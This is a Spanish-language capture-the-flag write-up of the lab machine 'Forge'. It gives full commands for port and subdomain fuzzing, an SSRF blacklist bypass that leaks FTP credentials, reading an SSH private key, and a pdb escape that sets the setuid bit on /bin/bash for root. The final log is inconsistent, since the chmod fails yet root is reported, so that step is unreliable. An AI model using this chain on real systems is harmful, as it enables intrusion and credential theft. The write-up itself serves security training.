Saludos pentesters, en esta ocasión os traigo una máquina Linux de dificultad media, de estilo CTF con cierta importancia en el proceso de enumeración. ¡Vamos al lío!
Fecha de Resolución
En primer lugar y como en cualquier máquina, necesitamos información sobre la misma así que vamos a hacer un reconocimiento para identificar los posibles vectores de entrada.
Fase de Reconocimiento
Asignamos un virtualhost a la máquina en nuestro archivo /etc/hosts
por motivos de comodidad.
p3ntest1ng:~$ echo '10.10.11.111 forge.htb' | sudo tee -a /etc/hosts
Y ahora sí, podemos empezar con el reconocimiento de puertos con un TCP SYN Port Scan
Parámetro | Descripción |
---|---|
-p- | Escanea el rango completo de puertos (hasta el 65535) |
-sS | Realiza un escaneo de tipo SYN port scan |
–min-rate | Enviar paquetes no más lentos que 5000 por segundo |
–open | Mostrar sólo los puertos que esten abiertos |
-vvv | Triple verbose para ver en consola los resultados |
-n | No efectuar resolución DNS |
-Pn | No efectuar descubrimiento de hosts |
-oG | Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar |
p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.111 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 19:37 CET
Initiating SYN Stealth Scan at 19:37
Scanning 10.10.11.111 [65535 ports]
Discovered open port 22/tcp on 10.10.11.111
Discovered open port 80/tcp on 10.10.11.111
Completed SYN Stealth Scan at 19:37, 13.31s elapsed (65535 total ports)
Nmap scan report for 10.10.11.111
Host is up, received user-set (0.084s latency).
Scanned at 2022-01-20 19:37:35 CET for 14s
Not shown: 65394 closed tcp ports (reset), 139 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.03 seconds
Raw packets sent: 67667 (2.977MB) | Rcvd: 66088 (2.644MB)
Identificamos dos puertos abiertos:
Puerto | Descripción |
---|---|
22 | SSH - SSH o Secure Shell |
80 | HTTP - Servidor web |
Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.
Parámetro | Descripción |
---|---|
-p | Escanea sobre los puertos especificados |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Determina la versión del servicio |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap -sC -sV -p 22,80 10.10.11.111 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 20:08 CET
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.40 seconds
De momento no hay gran cosa, tenemos las versiones de estos servicios y poco más. Analicemos el puerto 80 con un script de reconocimiento HTTP básico de nmap.
Parámetro | Descripción |
---|---|
–script | Ejecución de scripts escritos en LUA. Usamos http-enum |
-p | Escanea sobre el puerto especificado |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap --script http-enum -p 80 10.10.11.111 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 20:17 CET
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.047s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.10 seconds
Nada interesante, podemos borrar el archivo generado webScan
.
Probemos con wfuzz
a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.
Parámetro | Descripción |
---|---|
-c | Muestra el output en formato colorizado |
-w | Utiliza el diccionario especificado |
–hc=404 | Oculta todos los códigos de estado 404 |
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://forge.htb/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 71 L 92 W 2050 Ch "http://forge.htb/"
000003588: 403 9 L 28 W 274 Ch "server-status"
000003841: 301 9 L 28 W 307 Ch "static"
000004207: 200 32 L 58 W 929 Ch "upload"
000004216: 301 3 L 24 W 224 Ch "uploads"
Total time: 0
Processed Requests: 4614
Filtered Requests: 4609
Requests/sec.: 0
Vemos que existe un recurso upload
, pero antes de continuar por ahí, vamos a comprobar si existen subdominios, de nuevo tiramos de wfuzz
Parámetro | Descripción |
---|---|
-c | Mostrar el output en formato colorizado |
-w | Utiliza el diccionario especificado |
–sc=200 | Muestra sólo los códigos de estado 200 |
-H | Realiza una consulta de tipo header |
-u | Especifica la URL para la consulta |
-t | Nos permite lanzar el comando con N threads |
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 -H "Host: FUZZ.forge.htb" -u http://forge.htb/ -t 50 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
Total time: 331.5162
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 345.2047
Tenemos el subdominio http://admin.forge.htb/
pero no tenemos acceso desde el exterior:
Fase de Explotación
Volvamos sobre el recurso upload
abriendo el navegador para ver qué podemos subir al servidor.
Tenemos dos posibles métodos para subir archivos, alojado en nuestra máquina o mediante una URL. Probemos a subir un archivo cualquiera para ver si tenemos alguna limitación de formato, tamaño, etc. En este caso estoy subiendo un archivo de 2 MB y formato .deb (podía haber elegido otro pero era lo que tenía a mano).
En principio no tenemos limitaciones en cuanto a formato (aunque arriba a la derecha indique que subamos una imagen), una vez subido nuestro archivo nos genera un enlace aleatorio. Sin embargo, y dado que podemos subir archivos por URL, se me ocurre tratar de subir la URL del subdominio anterior, al cual no tenemos acceso desde el exterior. De este modo estaremos aprovechando una vulnerabilidad llamada Server Side Request Forgery (SSRF)
Como vemos en la captura, no se nos permite subir la url debido a que es considerada prohibida al estar incluida en una lista negra.
Tal vez no le gusta alguna palabra del enlace. Tratemos de bypassear este filtro poniendo la dirección completamente en mayúsculas: http://ADMIN.FORGE.HTB
Al tratar de abrir el enlace generado nos indica que no es posible mostrar la imagen porque contiene errores (lógico porque no estamos subiendo imagenes).
Con curl
podemos leer el contenido en formato raw de la petición HTTP.
p3ntest1ng:~$ curl http://forge.htb/uploads/iRHCfWLnsRWwTsUsCla0
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
En este pequeño código en html, descubrimos que existe un recurso Announcements
apuntando al directorio /announcements
Tratemos de subir este recurso mediante URL, y una vez obtengamos el enlace que nos genera, volvemos a ejecutar curl.
p3ntest1ng:~$ curl http://forge.htb/uploads/ID2lXNU92oVNZ2HcMntO
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Vemos que han dejado escritas en texto plano las credenciales para conectarse a un servidor FTP interno y que ahora el endpoit admite protocolos ftp
, ftps
, http
y https
para subidas por URL.
An internal ftp server has been setup with credentials as user:heightofsecurity123!
Con lo que sabemos, ahora podemos construir el siguiente enlace, subirlo por URL y repetir el proceso con curl para ver el resultado:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/
p3ntest1ng:~$ curl http://forge.htb/uploads/peOV0M5vZoVgXKmRIBmT
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 20 18:05 user.txt
Conseguimos ver los archivos alojados en el servidor FTP asi que añadimos el archivo user.txt
a la URL creada anteriormente,
volvemos a subirla y repetimos el mismo proceso con curl para leer la flag del usuario.
p3ntest1ng:~$ curl http://forge.htb/uploads/AYwkasyzqI77J0JELp8z
5ce2a56c599986911928f8861266648a
En vista de que podemos leer archivos del sistema con este método, vamos a intentar leer el archivo id_rsa
Construimos la URL de la consulta, la subimos con el upload y hacemos curl al enlace generado:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa
Una vez tengamos la información del archivo, lo creamos en nuestra máquina, le damos permisos con chmod 600 forgekey
y ya podemos conectarnos por SSH.
p3ntest1ng:~$ ssh -i forgekey user@forge.htb
-bash-5.0$ ls
snap user.txt
-bash-5.0$ cat user.txt
5ce2a56c599986911928f8861266648a
-bash-5.0$
Escalada de Privilegios
Lo primero que yo siempre compruebo son los permisos a nivel de sudo con sudo -l
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
En este caso tenemos suerte y encontramos que tenemos permisos de ejecución como root sobre un script escrito en Python. Analicemos el código.
-bash-5.0$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
Interesante, nos encontramos ante un cliente-servidor con la contraseña del admin escrita en texto plano.
Este script permite la ejecución de comandos a nivel de sistema haciendo uso del módulo subprocess
de Python.
Además, si por alguna razón se produce una excepción en la ejecución, nos dará una shell de pdb
(Python Debugger). Vamos a ejecutarlo.
-bash-5.0$ python3 /opt/remote-manage.py
Listening on localhost:36393
Desde otra terminal conectada por SSH a la máquina Forge nos conectamos con netcat
al puerto que se nos ha abierto, ya que sólo permite conexiones desde localhost:
-bash-5.0$ nc localhost 36393
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
Necesitamos escapar de este menú, algo que es bastante fácil si hemos entendido el código anterior. Fijaos en esta línea:
option = int(clientsock.recv(1024).strip())
Está convirtiendo a un número entero el valor que se introduce en el script como opción (el menú), pero no está verificando que el input sea explícitamente un número, por lo tanto basta con introducir cualquier otro carácter para romper la ejecución normal del script:
-bash-5.0$ python3 /opt/remote-manage.py
Listening on localhost:36393
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
En este punto podemos importar el módulo os
de Python, ejecutar la siguiente orden de sistema para cambiar los permisos de bash y ganar acceso como root:
(Pdb) import os
(Pdb) os.system ('chmod u+s /bin/bash')
chmod: changing permissions of '/bin/bash': Operation not permitted
256
(Pdb) exit
-bash-5.0$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt
00173db93bb35dca36d6e6c2cdaa7b39
¡Gracias por leer hasta el final!
Una máquina entretenida de realizar, a pesar de ser dificultad media me ha resultado bastante fácil todo el proceso de intrusión y la escalada de privilegios fue de risa. Útil para reforzar conocimientos ya adquiridos previamente.